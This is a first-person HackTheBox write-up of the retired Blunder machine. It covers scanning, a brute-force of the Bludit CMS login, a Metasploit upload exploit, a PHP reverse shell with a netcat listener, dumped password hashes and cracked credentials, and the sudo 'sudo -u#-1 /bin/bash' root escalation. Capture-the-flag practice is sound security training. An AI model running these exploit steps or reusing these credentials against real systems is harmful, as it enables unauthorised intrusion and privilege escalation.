Writeup: HackTheBox Blunder Machine

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Blunder, is retired.

Machine Info


Blunder graph

2. Preparation

I have prepared some useful variables:

export IP=

3. Scanning and Reconnaissance

First, I ran an aggressive scan with nmap to reveal and identify services that were running on the 1000 most popular ports.

74wny0wl@whitehatlab$ nmap -A -Pn -n -oN nmap/01-initial.txt -T4 $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 11:37 CDT
Nmap scan report for
Host is up (0.041s latency).
Not shown: 998 filtered ports
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.20 seconds

The http server was running on the server. So I ran the gobuster tool:

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt

Here is the scan result:

t4wny0wl@whitehatlab$ cat gobuster/01-initial.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/07/05 12:15:00 Starting gobuster
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/usb (Status: 200)
/LICENSE (Status: 200)
/server-status (Status: 403)
/%3FRID%3D2671 (Status: 200)
2020/07/06 08:14:02 Finished

Another tool that I launched was nikto:

t4wny0wl@whitehatlab$ nikto -h $IP -nossl | tee nikto/01-initial.txt 

Here is the scan result:

t4wny0wl@whitehatlab$ cat nikto/01-initial.txt 
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2020-07-05 12:39:34 (GMT-5)
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Bludit
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ Scan terminated:  9 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-07-05 13:56:28 (GMT-5) (4614 seconds)
+ 1 host(s) tested

The HTTP header x-powered-by revealed that the site is managed by CMS Bludit. I confirmed this fact by visiting the website, where the CMS login panel was visible:

Bludit SignIn

A quick analysis of the the login panel source provided information that the version of the Bludit system used was 3.9.2:

Bludit SignIn Source

4. Gaining Access

A quick search of the exploitdb database returned three existing exploits:

t4wny0wl@whitehatlab$ searchsploit bludit
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit)                                                                                                      | php/remote/47699.rb
Bludit 3.9.12 - Directory Traversal                                                                                                                              | php/webapps/48568.py
bludit Pages Editor 3.0.0 - Arbitrary File Upload                                                                                                                | php/webapps/46060.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Unfortunately, their operation requires an account in the CMS system.

Bludit is a CMS system written in PHP. So I ran the gobuster tool again, this time including php files:

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,htm,txt | tee gobuster/02-php.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     htm,txt,php,html
[+] Timeout:        10s
2020/07/06 11:35:57 Starting gobuster
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/t (Status: 200)
/install.php (Status: 200)
/empty (Status: 200)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/usb (Status: 200)
/LICENSE (Status: 200)
2020/07/06 15:38:51 Finished

The resource /todo.txt appeared among the new results:


From a note left by someone, I learned that one of the creators of the site is a person named Fergus.

But how to get access to any account …? Hundreds of tries, no results. Finally I ran out of ideas: maybe there is any hint on HTB forum? There I found the post:

HTB Forum Post

Let it be: I have decided to keep fighting. Using the cewl tool, based on the words available on the website, I built a dictionary of possible entries:

t4wny0wl@whitehatlab$ cewl -w dicts/01-wordlist.txt -d 10 -m 1

Then I manually built a dictionary of possible usernames:


Finally, I started writing a password cracker in CMS Bludit, which I called bluditcracker:

t4wny0wl@whitehatlab$ ./bluditcracker.py -t -U users.txt -P ../dicts/01-wordlist.txt
2020-07-06 16:30:31 - INFO - Trying fergus:RolandDeschain
2020-07-06 16:30:32 - INFO - Credentials have been found => fergus:RolandDeschain

After a very long waiting time resulting from the need to bypass the blockade protecting against violent attacks, I got access to the CMS using the credentials fergus:RolandDeschain

So I went to the address of the CMS panel in my browser and entered the credentials. I got access to the admin panel:

Bludit Panel

From the search results returned by the searchsploit tool, it was already known that there is a vulnerability in the version of Blutdit (3.9.2) in which a remote user may upload any file to the server. Ultimately, exploitation allows for remote code execution.

So I ran the Metasploit tool:

t4wny0wl@whitehatlab$ msfconsole -q
msf5 > search bludit

Matching Modules

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/linux/http/bludit_upload_images_exec  2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability

msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading MqTsMakuYL.png...
[*] Uploading .htaccess...
[*] Executing MqTsMakuYL.png...
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-07-07 07:59:02 -0500
[+] Deleted .htaccess

meterpreter > 

5. Maintaining Access

In order to maintain access to the system, I prepared my own webshell:

t4wny0wl@whitehatlab$ cp /usr/share/webshells/php/php-reverse-shell.php ./

In the file php-reverse-shell.php I initialized the variables $ip and $port:

$ip = '';  // CHANGE THIS
$port = 5555;       // CHANGE THIS

Then, using the meterpreter, I uploaded the php-reverse-shell.php file to the server:

meterpreter > pwd
meterpreter > cd ../../
meterpreter > upload php-reverse-shell.php
[*] uploading  : php-reverse-shell.php -> php-reverse-shell.php
[*] Uploaded -1.00 B of 5.36 KiB (-0.02%): php-reverse-shell.php -> php-reverse-shell.php
[*] uploaded   : php-reverse-shell.php -> php-reverse-shell.php

I prepared a netcat on my machine:

t4wny0wl@whitehatlab$ nc -nvlp 5555

and visited to start the connection.

I got shell access as a www-data user:

Web shell connected

As a good practice, I did a shell upgrade:

SHELL=/bin/bash script -q /dev/null
stty raw -echo

6. Privilege Escalation: www-data ⇨ hugo

On the attacker’s machine, I prepared the linpeas.sh script for sending:

t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./

Using an existing meterpreter session, I sent the script to the server:

meterpreter > cd /dev/shm
meterpreter > upload linpeas.sh
[*] uploading  : linpeas.sh -> linpeas.sh
[*] Uploaded -1.00 B of 222.92 KiB (-0.0%): linpeas.sh -> linpeas.sh
[*] uploaded   : linpeas.sh -> linpeas.sh

Then I ran the linpeas.sh script on the remote machine:

www-data@blunder:/$ cd /dev/shm
www-data@blunder:/dev/shm$ sh ./linpeas.sh | tee linpeas.txt

The analysis of the script output was very time-consuming. Ultimately, the effective method was to use the information that appeared in the standard output after executing the linpeas.sh script. It concerned the existence of directories




While browsing the above-mentioned directories, I found interesting files




The content of the first one revealed the existence of two users:

<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "6faf61f2dc20b954b78dc64f8da53b87",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""

In the second file I found the data of the third user:

<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}

I also checked the contents of the /etc/passwd file:

www-data@blunder:/var/www/bludit-3.10.0a$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:108:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
kernoops:x:114:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
nm-openvpn:x:117:123:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:120:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:122:127:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:124:129:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

One of the users of the operating system installed on the server was the user hugo. So I tried to crack his password.

160-bit password hash faca404fd5c0a31cf1897b823c695c85cffeb98d is likely the result of the SHA-1 hash function. At the beginning, I verified if this hash exists in rainbow tables:

Hugo CrackStation

So hugo’s credentials were hugo:Password120

www-data@blunder:/$ su hugo

It remained to read the user flag:

hugo@blunder:/$ cat /home/hugo/user.txt

7. Privilege Escalation: hugo ⇨ root

In the first step, I checked what programs I can run as root without authentication::

hugo@blunder:/$ sudo -l
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

The returned result said that user hugo could not run /bin/bash as root However, I found the vulnerability CVE-2019-14287, which affects sudo prior to version 1.8.28. So I checked sudo version:

hugo@blunder:/$ sudo -V
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

The sudo version was vulnerable, therefore:

hugo@blunder:/$ sudo -u#-1 /bin/bash

All that’s left to do was read the flag:

root@blunder:/# cat /root/root.txt

8. Summary

The following circumstances led to the capture of the flags: